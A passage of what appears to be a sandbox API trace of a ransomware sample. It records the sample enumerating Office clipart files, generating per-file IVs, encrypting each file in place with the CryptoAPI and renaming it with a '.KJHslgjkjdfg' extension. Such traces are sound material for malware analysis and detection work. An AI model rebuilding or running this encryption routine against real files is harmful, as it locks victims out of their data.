Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.337] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.337] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.340] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.340] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.340] GetProcessHeap () returned 0x990000 [0196.340] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.340] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.340] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.340] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.341] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.341] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.341] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c84, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c84, lpOverlapped=0x0) returned 1 [0196.342] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c90) returned 1 [0196.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.342] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c90, lpOverlapped=0x0) returned 1 [0196.342] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.342] SetEndOfFile (hFile=0x130) returned 1 [0196.345] GetProcessHeap () returned 0x990000 [0196.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.345] GetProcessHeap () returned 0x990000 [0196.345] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.kjhslgjkjdfg")) returned 1 [0196.347] CloseHandle (hObject=0x130) returned 1 [0196.347] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0196.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.347] GetProcessHeap () returned 0x990000 [0196.347] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.347] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.350] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.350] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.350] GetProcessHeap () returned 0x990000 [0196.350] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.350] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.350] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.350] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.350] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.350] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.350] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.351] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.351] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.351] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.351] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x48dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x48dc, lpOverlapped=0x0) returned 1 [0196.352] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x48e0, dwBufLen=0x48e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x48e0) returned 1 [0196.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.352] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x48e0, lpOverlapped=0x0) returned 1 [0196.353] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x49b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.353] SetEndOfFile (hFile=0x130) returned 1 [0196.355] GetProcessHeap () returned 0x990000 [0196.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.356] GetProcessHeap () returned 0x990000 [0196.356] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.kjhslgjkjdfg")) returned 1 [0196.357] CloseHandle (hObject=0x130) returned 1 [0196.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0196.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.359] GetProcessHeap () returned 0x990000 [0196.359] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.359] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.361] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.361] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.361] GetProcessHeap () returned 0x990000 [0196.362] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.362] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.362] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.362] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.362] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.362] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.362] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.362] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.362] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.362] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x462e, lpOverlapped=0x0) returned 1 [0196.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4630, dwBufLen=0x4630 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4630) returned 1 [0196.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.364] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4630, lpOverlapped=0x0) returned 1 [0196.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.364] SetEndOfFile (hFile=0x130) returned 1 [0196.367] GetProcessHeap () returned 0x990000 [0196.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.367] GetProcessHeap () returned 0x990000 [0196.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.kjhslgjkjdfg")) returned 1 [0196.369] CloseHandle (hObject=0x130) returned 1 [0196.369] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0196.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.371] GetProcessHeap () returned 0x990000 [0196.371] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.371] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.371] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.374] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.374] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.374] GetProcessHeap () returned 0x990000 [0196.374] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.374] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.374] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.374] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.374] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.374] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.374] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.375] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.375] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.375] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x72de, lpOverlapped=0x0) returned 1 [0196.376] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x72e0, dwBufLen=0x72e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x72e0) returned 1 [0196.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.377] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x72e0, lpOverlapped=0x0) returned 1 [0196.377] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x73b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.377] SetEndOfFile (hFile=0x130) returned 1 [0196.380] GetProcessHeap () returned 0x990000 [0196.380] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.380] GetProcessHeap () returned 0x990000 [0196.380] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.kjhslgjkjdfg")) returned 1 [0196.381] CloseHandle (hObject=0x130) returned 1 [0196.382] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0196.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.382] GetProcessHeap () returned 0x990000 [0196.382] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.382] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.382] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.383] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.385] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.385] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.385] GetProcessHeap () returned 0x990000 [0196.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.385] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.385] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.385] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, 